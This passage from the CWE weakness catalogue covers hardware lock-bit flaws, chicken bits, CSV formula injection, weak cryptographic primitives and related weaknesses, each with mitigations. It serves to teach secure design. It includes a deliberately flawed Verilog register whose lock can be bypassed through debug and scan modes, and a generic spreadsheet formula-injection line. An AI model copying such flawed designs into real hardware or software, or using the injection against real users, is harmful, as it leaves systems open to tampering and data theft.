Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources. If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details. For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623
ParentOf	V	202	Exposure of Sensitive Information Through Data Queries	476
ParentOf	B	612	Improper Authorization of Index Containing Sensitive Information	1217

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

CWE-1231: Improper Implementation of Lock Protection Registers

Weakness ID : 1231 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product incorrectly implements register lock bit protection features such that protected controls can be programmed even after the lock has been set.

Extended Description

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after being set to unlock the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory *Registers protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon, post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon and trigger system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by firmware and then the register needs to be locked (TEMP_SENSOR_LOCK).

Example Language: Other *(bad)*

In this example note that the response of the system if the system heats to critical temperature is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected,since software can misconfigure the TEMP_HW_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

Example Language: *(mitigation)*

Change TEMP_HW_SHUTDOWN field to be locked by TEMP_SENSOR_LOCK.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1232: Improper Lock Behavior After Power State Transition

Weakness ID : 1232 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements register lock bit protection features with the intent to disable changes to system configuration after the lock is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes).

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design this is commonly implemented using a programmable lock bit, which when set disables writes to a protected set of registers or address regions.

Some common weaknesses that can exist in such a protection scheme is that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable after a power state transition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory *System Configuration protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections must be reviewed for behavior across supported power state transitions. Security lock programming flow and lock properties must be tested in pre-si, post-si testing, including testing these across power transitions.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using a lock bit protection that locks all memory configuration registers. The memory configuration lock can be set by BIOS on boot.

If such a system also supports a low power sleep state like hibernate, the DRAM data must be saved in disk and restored when system resumes from hibernate. During hibernate, system DRAM would be powered off.

To support hibernate power transition flow, the DRAM memory configuration must be reprogrammed even though it was locked previously. During hibernate resume, the memory configuration could be modified or memory lock cleared.

Functionally the hibernate resume flow requires a bypass of the lock-based protection.

The memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to same state as before entry to hibernate mode.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009
MemberOf	C	1206	Power, Clock, and Reset Concerns	1194	2011

CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls

Weakness ID : 1233 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements a register lock bit protection feature that permits security sensitive controls to modify the protected configuration.

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If any system registers/controls that can modify the protected configuration are not write-protected by the lock, they can then be leveraged by software to modify the protected configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	667	Improper Locking	1299

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	

Scope	Impact	Likelihood
	System Configuration protected by the lock bit can be modified even when the lock is set.	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock bit protections must be reviewed common weaknesses. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

Demonstrative Examples

Example 1:

For example, consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon to trigger a system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by the firmware.

Example Language: Other *(bad)*

In this example note that only the CRITICAL_TEMP_LIMIT register is protected by the TEMP_SENSOR_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Also, the TEMP_SENSOR_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP_HW_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

Example Language: *(informative)*

Change TEMP_HW_SHUTDOWN and TEMP_SENSOR_CALIB controls to be locked by TEMP_SENSOR_LOCK.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks

Weakness ID : 1234 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

The product implements register lock bit protection features that may permit security sensitive controls to modify system configuration after the lock is set through internal modes or debug features.

Extended Description

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/ memory protection unit configuration). If debug features supported by hardware or internal modes/ system states are supported in the hardware design, they may allow modification of the lock protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *System Configuration protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections must be reviewed for any bypass/override modes supported. Any supported override modes either must be removed, or these modes should be protected using features like secure authenticated, authorized debug modes. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider the example Locked_override_register example. This register module supports a lock mode that blocks any writes after lock is set to 1.
However, it also allows override of the lock protection when scan_mode or debug_unlocked modes are active.

Example Language: Verilog *(bad)*

```
module Locked_register_example
(
input [15:0] Data_in,
input Clk,
input resetn,
input write,
input Lock,
input scan_mode,
input debug_unlocked,
output reg [15:0] Data_out
);
reg lock_status;
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
lock_status <= 1'b0;
end
else if (Lock)
begin
lock_status <= 1'b1;
end
else if (~Lock)
begin
lock_status <= lock_status
end
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
Data_out <= 16'h0000;
end
else if (write & (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides supported for scan_mode & debug_unlocked
begin
Data_out <= Data_in;
end
else if (~write)
begin
Data_out <= Data_out;
end
endmodule
```

If either of scan_mode or debug_unlocked modes can be triggered by software, then lock protection can be bypassed.

Example Language: *(good)*

Remove debug and scan mode overrides. Or protect enabling of these modes through secure authentication and authorization features, such that only trusted and authorized users can enable these debug modes.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations

Weakness ID : 1235 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.

Extended Description

Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.

However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	400	Uncontrolled Resource Consumption	864

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	Low

Scope	Impact	Likelihood
	Reduce Performance *Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.*	

Potential Mitigations

Phase: Implementation

Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters. Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.

Demonstrative Examples

Example 1:

Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.

Example Language: Java *(bad)*

```
Long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.

Example 2:

This code uses primitive long which fixes the issue.

Example Language: Java *(good)*

```
long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Oracle Coding Standard for Java	EXP04-J		Do not pass arguments to certain Java Collections Framework methods that are a different type than the collection parameter type

References

[REF-1051]"Oracle Java Documentation". < https://docs.oracle.com/javase/1.5.0/docs/guide/language/autoboxing.html >.

[REF-1052]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/display/java/EXP04-J.+Do+not+pass+arguments+to+certain+Java+Collections+Framework+methods+that+are+a+different+type+than+the+collection+parameter+type >.

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Weakness ID : 1236 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by spreadsheet software.

Extended Description

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulae, which are then executed by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Alternate Terms

CSV Injection :

Formula Injection :

Excel Macro Injection :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Execute Unauthorized Code or Commands *Current versions of Excel warn users of untrusted content.*	Low

Potential Mitigations

Phase: Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

Effectiveness = Moderate

Unfortunately, there is no perfect solution, since different spreadsheet products act differently.

Phase: Implementation

If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

Effectiveness = Moderate

It is not clear how effective this mitigation is with other spreadsheet software.

Phase: Architecture and Design

Certain implementations of spreadsheet software might disallow formulae from executing if the file is untrusted, or if the file is not authored by the current user.

Effectiveness = Limited

This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.

Demonstrative Examples

Example 1:

Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='

Example Language: Other *(attack)*

```
=HYPERLINK(link_location, [friendly_name])
```

Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.

Example Language: *(good)*

```
HYPERLINK(link_location, [friendly_name])
```

Observed Examples

Reference	Description
CVE-2019-12134	Low privileged user can trigger CSV injection through a contact form field value *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12134*
CVE-2019-4521	Cloud management product allows arbitrary command execution via CSV injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-4521*
CVE-2019-17661	CSV injection in content management system via formula code in a first or last name *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17661*

References

[REF-21]OWASP. "CSV Injection". 2020 February 2. < https://owasp.org/www-community/attacks/CSV_Injection >.

[REF-22]Jamie Rougvie. "Data Extraction to Command Execution CSV Injection". 2019 September 6. < https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection >.

[REF-23]George Mauer. "The Absurdly Underestimated Dangers of CSV Injection". 2017 October 7. < http://georgemauer.net/2017/10/07/csv-injection.html >.

[REF-24]James Kettle. "Comma Separated Vulnerabilities". 2014 August 9. < https://www.contextis.com/en/blog/comma-separated-vulnerabilities >.

CWE-1239: Improper Zeroization of Hardware Register

Weakness ID : 1239 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.

Extended Description

Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context *The consequences will depend on the information disclosed due to the vulnerability.*	

Potential Mitigations

Phase: Architecture and Design

Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.

Demonstrative Examples

Example 1:

Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-1055]Peter Gutmann. "Data Remanence in Semiconductor Devices". 10th USENIX Security Symposium. 2001 August. < https://www.usenix.org/legacy/events/sec01/full_papers/gutmann/gutmann.pdf >.

CWE-1240: Use of a Risky Cryptographic Primitive

Weakness ID : 1240 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product implements a cryptographic algorithm using a non-standard or unproven cryptographic primitive.

Extended Description

Cryptographic algorithms (or Cryptographic systems) depend on cryptographic primitives as their basic building blocks. As a result, cryptographic primitives are designed to do one very specific task in a precisely defined and highly reliable fashion. For example, one can declare that a specific crypto primitive (like an encryption routine) can only be broken after trying out N different inputs (the larger the value of N, the stronger the crypto). If a vulnerability is found that leads to breaking this primitive in significantly less than N attempts, then the specific cryptographic primitive is considered broken, and the entirety of the cryptographic algorithm (or the cryptographic system) is now considered insecure. Thus, even breaking a seemingly small cryptographic primitive is sufficient to render the whole system vulnerable.

Cryptographic primitives are products of extensive reviews from cryptographers, industry, and government entities looking for any possible flaws. However, over time even well-known cryptographic primitives lose their compliance status with emergence of novel attacks that might either defeat the algorithm or reduce its robustness significantly. If ad-hoc cryptographic primitives are implemented, it is almost certain that such implementation will be vulnerable to attacks resulting in the exposure of sensitive information and/or other consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Background Details

This issue is even more prominent for hardware-implemented deployment of cryptographic algorithms due to a number of reasons. Firstly, because hardware is not replaceable like software, if a flaw is discovered with a hardware-implemented cryptographic primitive, it cannot be fixed in most cases without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case. This would compromise any security property, including the ones listed above.*	High

Potential Mitigations

Phase: Architecture and Design

Follow these good cryptography practices: Do not create your own crypto algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. As with all cryptographic mechanisms, the source code should be available for analysis. If the algorithm can be compromised when attackers find out how it works, then it is especially weak. Do not use outdated/not-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. Do not use LFSR as a substitute for proper Random Number Generator IPs. Do not use checksum as a substitute for proper Hashes. Design the hardware at the IP level so that one cryptographic algorithm can be replaced with another in the next generation. Use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. Do not store keys in areas accessible to untrusted agents. Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant. Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and might be more likely to avoid errors that can occur during implementation of cryptographic algorithms. When using industry-

approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Effectiveness = High

Demonstrative Examples

Example 1:

Re-using Crypto primitive could compromise security

Example Language: *(bad)*

Suppose a Hashing algorithm needs random seed. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a LFSR to generate the seed.

While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a DRNG. Thus, using an LFSR weakens the strength of the crypto.

Example Language: *(good)*

If a crypto expect a proper (or deterministic) random number as its input, do equip it with one - do not give it something that is pseudo-random.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2011

CWE-1241: Use of Predictable Algorithm in Random Number Generator

Weakness ID : 1241 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product requires a true random number but uses an algorithm that is predictable and generates a pseudo-random number.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	330	Use of Insufficiently Random Values	730

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014

Applicable Platforms

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Predictable random numbers can render the protection mechanisms in place ineffective.*	High

Potential Mitigations

Phase: Architecture and Design

Leverage well-known true random number generation techniques.

Effectiveness = High

Demonstrative Examples

Example 1:

Suppose a cryptographic function expects to begin with a random seed.

During the implementation phase, due to space constraint, a proper random-number-generator could not be used, and instead of using a TRNG (True Random Number Generator), the designer uses a LFSR (Linear Feedback Shift Register)to generate the seed. While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a TRNG. Thus, using an LFSR weakens the strength of the crypto.This lack of entropy would weaken the overall crypto.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2011

CWE-1242: Inclusion of Undocumented Features or Chicken Bits

Weakness ID : 1242 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The chip includes chicken bits or undocumented features that can create entry points for unauthorized actors.

Extended Description

A common design practice is to use "chicken bits," which are bits on a chip that can be used to disable certain functional security features. They can facilitate quick identification and isolation of faulty components, features that negatively affect performance, or features that do not provide the required controllability for debug and test. Another way to achieve this is through implementation of undocumented features. An attacker might exploit these interfaces for unauthorized access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not implement chicken bits. If implemented, ensure that they are disabled in production devices. Document all interfaces to the chip.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a chip that comes with various, security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash chip. However, this code contains undocumented "special access features" intended to be used for performing failure analysis and can only be unlocked by the chip designer.

Example Language: Other *(bad)*

Attackers dump the code from the chip and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.

Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

References

[REF-1071]Ali Abbasi, Tobias Scharnowski and Thorsten Holz. "Doors of Durin: The Veiled Gate to Siemens S7 Silicon". < https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf >.

